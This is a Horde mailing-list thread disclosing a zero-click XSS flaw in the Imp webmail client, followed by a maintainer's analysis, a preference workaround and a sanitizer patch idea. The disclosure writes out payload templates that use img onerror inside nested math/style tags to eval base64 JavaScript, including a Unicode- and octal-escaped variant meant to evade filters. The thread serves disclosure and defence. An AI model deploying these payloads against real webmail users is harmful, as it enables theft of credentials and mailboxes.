[horde] [imp] Horde v 5.2.22 vulnerability – obfuscation via HTML encoding – XSS payload

[Torben Dannhauer]

Hallo Jens,

I’m currently begging via email and linked in to get elevated to maintainer in the GitHub organization “horde”, so I can apply changes.

This weekend I fixed another two deeper bugs in ActiveSync. 

The most limiting factor is currently that I can only provide PRs but cannot move forward.

Please provide your fixes as PR, so we can get it into the product once I have the permissions.



Von unterwegs gesendet
Sent from mobile


> Am 24.03.2025 um 11:25 schrieb Jens Wahnes <wahnes at uni-koeln.de>:
> 
> Hi Nataša,
> 
> thank you for reporting this to the mailing list, so that users of Horde can react to this, despite the foundered Horde development in general.
> 
> At first, I was a bit confused about your report, when you mentioned boundaries and base64 encoding. My initial thought was that the problem could have to do with the names used for separating MIME parts of an email message, i.e. that the malicious code would be hidden inside the name of the boundary, using base64 encoding.
> 
> But when I looked at the whole issue more closely, I understood that MIME delimiters/boundaries to not really play a role here. My understanding as of now is that this flaw concerns multipart e-mails that consist of a "text/html" part and that certain Javascript code can be "smuggled" into the browser, where it is executed, by putting specially crafted HTML code into the email.
> 
> When I tried to exploit this flaw in Horde 5 and did several tests, it was my impression that code execution is only possible when the HTML code in the email is not well-formed. It seems that Imp's stripping of HTML code from an email basically assumes valid HTML code, but when the HTML code is in fact invalid, some code may slip through the filtering process. That's how I regard the nesting of "math", "style" and "img" tags in the example you gave. If the HTML tags were properly arranged, then Horde/Imp would sanitize the code read from the email and the malicious Javascript would not be delivered to the browser.
> 
> In case not everyone is aware of this, I would like to point out that the workaround Nataša mentioned in the second e-mail, i.e. to switch to plaintext view, is possible using the 'advanced' preference named "alternative_display". So as a Horde administrator, one might want to update the imp/prefs.local.php file and change the line to read
> 
> $_prefs['alternative_display']['value'] = 'text';
> 
> in case this was set to "html" previously. Another approach would be to search the user's pref database for users that have actively set this preference and possibly alter their setting. In case of a MySQL database for preference storage, this can be done using a statement like this: "select pref_uid, pref_value from horde_prefs where pref_scope='imp' and pref_name='alternative_display'"
> 
> In my analysis, I only looked into Horde 5/Imp 6, so I cannot make any statement about Horde 6/Imp 7 being affected or not, nor about the "alternative_display" workaround for these newer versions.
> 
> One solution I found to filter out the malicious content from emails like the one Nataša described was to tighten the code used to sanitize HTML in e-mails. This is found in the imp/lib/Mime/Viewer/Html.php file. The code in the big "switch" statement of the "_node" method, around line 435 or so, dealing with "case 'style'", can be extended to call "removeChild($node)" not only in the sub-case of 'text/css', as already present in the file, but also in the general case. When I added a statement to that effect, the malicious code from the email was no longer delivered to the browser. So that's a solution others may want to try as well, assuming there will be no official patch or newer version released by Horde maintainers.
> 
> Jens
> 
> 
> Nataša K. Arh wrote:
>> Hi.
>> A vulnerability within Horde Web Client was discovered during our
>> investigation. We have already seen this vulnerability being exploited in
>> the wild.
>> If an attacker crafts a specially prepared email, he/she can abuse this
>> vulnerability to retrieve username, password and complete email database of
>> a user mailbox.
>> *Details*
>> The content inside email header base64 encoded text/html boundary contains
>> a specially crafted HTML.
>> --===============boundary==
>> Content-Type: text/html; charset="utf-8"
>> Content-Transfer-Encoding: base64
>> MIME-Version: 1.0
>> Injecting a XSS payload inside an HTML attribute, namely the “onerror”
>> event handler, the server-side checks does not sanitize the payload and
>> does not detect HTML encoded characters.
>> When the browser renders the page, it will decode and execute the injected
>> payload.
>> This is injected at the end of the legit HTML content.
>> Example:
>> <html>
>> <body>
>> <p>Hi...</p>
>> Regards<br>
>> *<math><style>*
>> *<img style=display:none src=nonexsisting.png
>> onerror="window.parent.eval(window.parent.atob('base64 encoded
>> JavaScript'));">*
>> *</style></math>*
>> </body></html>
>> To evade detection Unicode characters can be used:
>> For eval:
>> - \u{065} represents the Unicode character for the letter "e."
>> - \u{076} represents the Unicode character for the letter "v."
>> - \141 (octal) or \x6C (hexadecimal) represents the letter "a."
>> - \x6C represents the hexadecimal for the letter "l."
>> For atob:
>> - \u{61} represents the Unicode character for the letter "a."
>> - \u{74} represents the Unicode character for the letter "t."
>> - o is a regular character.
>> - \142 (octal) represents the letter "b."
>> Example:
>> <html>
>> <body>
>> <p>Hi...</p>
>> Regards<br>
>> *<math><style><img style=display:none **src=nonexsisting.png*
>> * onerror="window.parent['\u{065}\u{076}\141\x6C'](window.parent['\u{61}\u{74}o\142']('base64
>> encoded JavaScript'))"></style></math>*
>> </body></html>
>> The “nonexsisting.png” image is searched inside /imp, since it does not
>> exist the “onerror” content is executed.
>> A specially crafted JavaScript code inside the *'base64 encoded JavaScript'* is
>> executed.
>> This kind of crafted email is a zero-click attack, where no click is needed
>> from a user side other then looking this email in the Horde web client.
>> Since there are still Horde web clients used, it would be nice to fix this
>> vulnerability.
>> --
>> Regards.
> 
> 
> --
> Horde mailing list
> Frequently Asked Questions: http://horde.org/faq/
> To unsubscribe, mail: horde-unsubscribe at lists.horde.org